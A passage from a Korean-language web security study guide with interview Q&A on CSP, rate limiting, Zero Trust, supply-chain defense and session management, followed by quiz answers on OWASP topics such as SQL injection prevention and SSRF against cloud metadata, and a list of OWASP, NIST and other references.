CSP는 브라우저에게 허용된 리소스 출처를 지정하는 HTTP 헤더입니다. script-src, style-src 등 지시어로 각 리소스 유형별 허용 출처를 지정합니다. 인라인 스크립트는 nonce 또는 hash로 허용하며, 위반 시 report-uri로 보고할 수 있습니다.

**Q10: Rate Limiting의 구현 전략과 분산 환경에서의 고려사항은?**

전략: 1) Fixed Window, 2) Sliding Window, 3) Token Bucket, 4) Leaky Bucket. 분산 환경에서는 Redis 같은 중앙 저장소를 사용해 모든 서버에서 일관된 카운팅을 해야 합니다. IP 기반 + 사용자 ID 기반 복합 제한이 효과적입니다.

심화 질문

**Q11: Zero Trust 아키텍처란 무엇이며, 전통적 경계 보안과 어떻게 다른가요?**

전통적 보안은 네트워크 경계(방화벽)를 기반으로 내부를 신뢰합니다. Zero Trust는 "절대 신뢰하지 말고, 항상 검증하라"는 원칙으로, 내부 트래픽도 검증합니다. 핵심 요소: 최소 권한, 마이크로세그먼테이션, 지속적 검증, 암호화 통신.

**Q12: 공급망 공격(Supply Chain Attack)을 방어하는 방법은?**

1) 의존성 잠금 파일(lockfile) 사용 및 무결성 검증, 2) SRI(Subresource Integrity) 해시 적용, 3) SBOM 유지, 4) CI/CD 파이프라인 보안 (코드 서명, 아티팩트 검증), 5) 최소 의존성 원칙.

**Q13: CORS와 CSP의 차이점과 각각의 역할을 설명하세요.**

CORS는 브라우저의 동일 출처 정책을 완화하여 다른 오리진의 리소스 접근을 제어합니다 (서버 간 API 호출). CSP는 페이지 내에서 로드할 수 있는 리소스의 출처를 제한합니다 (XSS 방어). CORS는 "누가 내 API를 호출할 수 있는가", CSP는 "내 페이지에서 무엇을 로드할 수 있는가"입니다.

**Q14: DevSecOps에서 Shift Left의 의미와 구현 방법은?**

Shift Left는 보안 활동을 개발 초기 단계로 이동시키는 것입니다. 구현: 1) IDE에서 SAST 플러그인 사용, 2) Pre-commit hook으로 시크릿 스캔, 3) PR 리뷰에 보안 체크 자동화, 4) 스프린트 위협 모델링, 5) 개발자 보안 교육.

**Q15: 세션 관리의 모범 사례 5가지를 설명하세요.**

1) 암호학적으로 안전한 랜덤 세션 ID 생성 (최소 128비트), 2) HTTPS 전용 + HttpOnly + Secure + SameSite 쿠키 속성, 3) 로그인/권한 변경 시 세션 ID 재생성, 4) 절대/유휴 타임아웃 설정, 5) 로그아웃 시 서버측 세션 완전 무효화.

17. 퀴즈

**A01: Broken Access Control**입니다. 2017년에는 5위였으나, API 기반 아키텍처의 확산으로 권한 제어 실수가 증가하면서 1위로 올라갔습니다.

**파라미터화된 쿼리(Prepared Statement)** 입니다. 쿼리 구조와 데이터를 분리하여 사용자 입력이 SQL 명령으로 해석되는 것을 원천적으로 차단합니다. ORM 사용도 같은 원리로 방어됩니다.

169.254.169.254는 **클라우드 인스턴스 메타데이터 서비스** 주소입니다. SSRF로 접근하면 IAM 크레덴셜, 환경 변수, 네트워크 구성 등 민감한 정보를 탈취할 수 있습니다. AWS IMDSv2를 사용하면 PUT 요청으로 토큰을 먼저 발급받아야 하므로 SSRF 공격이 어려워집니다.

'unsafe-inline'을 허용하면 **인라인 스크립트 실행이 가능**해져 XSS 공격에 취약해집니다. 대신 nonce-based CSP를 사용하여 각 인라인 스크립트에 고유한 nonce 값을 부여하고, 해당 nonce가 있는 스크립트만 실행을 허용해야 합니다.

1) **절대 신뢰하지 않는다(Never Trust):** 내부 네트워크라도 모든 요청을 검증합니다.

2) **항상 검증한다(Always Verify):** 모든 접근에 인증과 권한 검사를 수행합니다.

3) **최소 권한(Least Privilege):** 필요한 최소한의 권한만 부여하고, 정기적으로 검토합니다.

참고 자료

- [OWASP Top 10 2021 공식 문서](https://owasp.org/www-project-top-ten/)

- [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/)

- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)

- [OWASP ASVS (Application Security Verification Standard)](https://owasp.org/www-project-application-security-verification-standard/)

- [IBM Cost of a Data Breach Report 2024](https://www.ibm.com/reports/data-breach)

- [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)

- [CWE (Common Weakness Enumeration)](https://cwe.mitre.org/)

- [CVE (Common Vulnerabilities and Exposures)](https://cve.mitre.org/)

- [MDN Web Security](https://developer.mozilla.org/en-US/docs/Web/Security)

- [Google Web Security Guidelines](https://developers.google.com/web/fundamentals/security)

- [Node.js Security Checklist](https://blog.risingstack.com/node-js-security-checklist/)

- [Helmet.js Documentation](https://helmetjs.github.io/)

- [OWASP ZAP](https://www.zaproxy.org/)

- [Snyk Learn - Security Education](https://learn.snyk.io/)

- [PortSwigger Web Security Academy](https://portswigger.net/web-security)

현재 단락 (1/649)

2024년 IBM의 Cost of a Data Breach Report에 따르면 데이터 유출 사고의 **평균 비용은 488만 달러**에 달합니다. 더 충격적인 사실은 **유출 사고...

작성 글자: 0원문 글자: 22,983작성 단락: 0/649